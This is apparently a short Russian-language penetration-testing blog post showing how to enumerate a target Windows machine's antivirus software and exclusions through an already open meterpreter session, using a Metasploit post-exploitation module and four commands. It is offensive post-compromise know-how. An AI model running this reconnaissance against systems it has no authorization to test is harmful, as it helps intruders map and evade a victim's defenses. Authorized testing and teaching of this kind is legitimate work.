Информация об антивирусной защите.

Привет! Любой тест на проникновение подразумевает под собой сбор как можно большего количества информации. В этой публикации я покажу, как собрать информацию об антивирусной защите целевого компьютера.

Для этого нам необходима активная сессия meterpreter на целевом хосте.

Переведем активную сессию в background.

Затем вводим следующие команды:

>  use post/windows/gather/enum_av_excluded
>  set lhost 192.168.0.108 (IP of Local Host)
>  set session 1
>  exploit

Вывод команды покажет нам используемое антивирусное обеспечение на целевом устройстве.